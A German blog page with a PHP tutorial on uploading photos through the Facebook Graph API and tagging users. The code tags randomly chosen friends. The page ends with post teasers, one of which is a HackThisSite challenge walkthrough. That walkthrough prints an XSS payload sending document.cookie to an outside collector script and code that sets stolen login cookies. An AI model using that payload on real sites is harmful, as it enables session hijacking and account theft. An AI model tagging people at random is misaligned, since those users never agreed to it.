Direkt zum Hauptbereich

Facebook Photo Upload and Tagging a user on this Picture

So mit der Facebook GRAPH API lässt sich ja einiges machen. Ich widme mich heute mal dem Photo Upload. Und biete hierzu auch ein paar Code Samples an welche man benutzen kann.

So let`s go. Am einfachsten mit der GRAPH API zu arbeiten ist es wenn wir mit dem Offiziellen PHP Packet von Facebook arbeiten. Dies gibts unter GITHUB:
https://github.com/facebook/php-sdk/

Hier noch ein kleines Beispiel wie man dieses Paket zum laufen bringt:
include_once('facebook.php');

class facebookFactory {

private $facebook;
private static $instance = null;

private function __construct() {
$this->facebook = new Facebook(array(
'appId' => APP_ID,
'secret' => APP_SECRET,
'cookie' => true,
));
}

private function __clone() {

}

public static function getInstance() {
if(! self::$instance) {
self::$instance = new facebookFactory();
}

return self::$instance;
}

public function getFacebook() {
return $this->facebook;
}

}

Dies ist eine kleine Facebook Factory. Wer weiß ob man vielleicht das Offizielle Paket gegen ein anderes eintauscht. Im Konstruktor wird die Klasse Facebook aus dem facebook Packet instanziert. Dort werden alle nötigen Informationen, also APP_KEY, SECRET übergeben.
Diese Daten bekommt ihr von Facebook wenn ihr eine Anwendung erstellt.

So nun widmen wir uns dem Bilder Upload. Ich neige immer dazu "Fremdpackete" zu wrappen. Also nicht direkt auf die Methoden von der Klasse Facebook zurückzugreifen. Dazu habe ich ein "Arbeitstier" welche alle nötigen Methoden implementiert hat und einfach immer das Passende von der Klasse Facebook aufruft.

Um ein Bild hochzuladen mittels der "Graph" API hochzuladen. Hier ein kleinen Auszug meiner Upload Funktion welche die Facebook Upload Funktion anspricht:
$arguments = array(
'message' => 'Die Bildunterschrift :) ',
'tags'=>$this->makeTagArray($this->getRandomFriends($userId)),
'source' => '@' .realpath( BASEPATH . '/tmp/'.$imageName),
);
public function uploadPhoto($albId,$arguments) {
//https://graph.facebook.com/me/photos
try {

$fbUpload = $this->facebook->api('/'.$albId.'/photos?access_token='.$this->facebook->getAccessToken(),'post', $arguments);
return $fbUpload;
}catch(FacebookApiException $e) {
$e;
// var_dump($e);
return false;
}
}

In dieser Methode wird auf das Facebook Objekt zugegriffen und dann die API angesprochen. Dann den Pfad, also welche Methode, wir von der Graph API ansprechen wollen.
In meinem Fall übergebe ich eine ID eines Albums und Poste dort das Foto. Alternativ kann man auch einfach /me angeben. Dann handelt Facebook Automatisch die Alben.

Für diesen Aufruf ist wie bei allen Post aktionen ein Access Token notwendig. Diesen Liegert ebenfalls die Klasse Facebook.

Mit diesem Aufruf Posten wir ein Bild und Taggen direkt mal ein paar User. Hierzu erläuter ich noch die Methode makeTagArray:
private function makeTagArray($userId) {
foreach($userId as $id) {
$tags[] = array('tag_uid'=>$id, 'x'=>$x,'y'=>$y);
$x+=10;
$y+=10;
}
$tags = json_encode($tags);
return $tags;
}
Wie man sieht erstellt die Methode ein array welches ein Assoziatives Array mit sämtlichen Informationen zum Tag enthält. In meinem Fall wird der Methode einfach ein Array mit userIds von Facebook übergeben. Die Userids werden durchlaufen, die Position x und y wird aktualisiert und das wars dann auch schon.
Nun wird das Array zurückgegeben und steht nun ebenfalls als Argument für den Graph aufruf zur Verfügung. Die Option Tags muss immer ein array enthalten welches die Informationen für die Tags enthält, auch wenn man nur einen Tag hinzufügen möchte!

So ich hoffe es hat dem einen oder anderen weitergeholfen.

Feedback ist immer Wilkommen, und über lob wird sich gefreut.

Kommentare

fincha_com hat gesagt…
schlecht beschrieben, leider nutzlos :(

Beliebte Posts aus diesem Blog

HTS realistic 9, the Codes for the Challenge!

Here are the javascript codes for HTS Level 9: 1. code, take a look at the cookie: javascript:alert(document.cookie); 2. The xss exploit insert into the message to mr. crap: </textarea> <script>window.location="http://getTheScript/getcookiemailer.php?keks="+document.cookie;</script> 3. The code to use the stolen cookie data: javascript:document.cookie="strUsername=m-crap%40crappysoft.com";document.cookie="strPassword=94a35a3b7befff5eb2a8415af04aa16c";document.cookie="intID=1"; Now you can move the money!! 4. Deleting the session data. Log out and go to the main page of crappy soft. Go to the mailing list form. Now you need an Firefox extension like UrlParams or an Proxy with freeze function. Or you manipulate the Post data with an faked http header. How to fake http header with PHP you can take a look at this page: http://hack1n9.blogspot.com/2008/06/hackthissiteorg-level-5-basic-lsung.html But it is written in german. The faste...

Linearen Notenschlüssel mit nodejs berechnen

Linearen Notenschlüssel berechnen / Method chaining in nodejs Hintergrund/Motivation: Ein kleines altes Nebenprojekt von mir war eine Schüler/Notenverwaltung Software in Java geschrieben. Das kleine Programm ist etwas in die Jahre gekommen und da wollte ich kleine teile von der Software nach nodejs portieren und es etwas auffrischen. Und zum start habe ich die Berechnung der Noten nach einem Linearen Notenschlüssel portiert. Also die dahinter liegende Klasse. Kurze Beschreibung der Eigenschaften der Klasse: Die Klasse soll die Berechnung anhand der Maximalen zu erreichenden Punkzahl und der erreichten Punkzahl des Schülers berechnen. Es gibt folgende Attribute: defaultPoints => fallback falls maxPoints nicht gesetzt wird maxPoints => Maximal zu erreichende Punkte im Test/Arbeit reachedPonts => Erreichte Punktzahl des Schülers Darüber hinaus sollen die setter der Klasse via   Method chaining  einfacher und kürzer aufrufbar sein, hierzu ein kleiner Pse...

Magento - Simple Google Shopping - Add PHP code direct in XML Template

Magento - Extension "Simple Google Shopping" von wyomind Um das Template anzupassen gibt es hier auch die Möglichkeit PHP code direkt in das XML Template zu schreiben.  Dies kann hilfreich sein wenn man Felder aus Magento ändern möchte und dazu ein if Konstrukt benötigt. Hier ein Beispielhaftes Template für Simple Google Shopping mit PHP code direkt im template: Wichtig: der code muss ein "return" statement besitzen. Denn nur der Wert welcher vom PHP Block returned wird, ist nacher im google shopping XML file vorhanden.   Simple Google Shopping Extension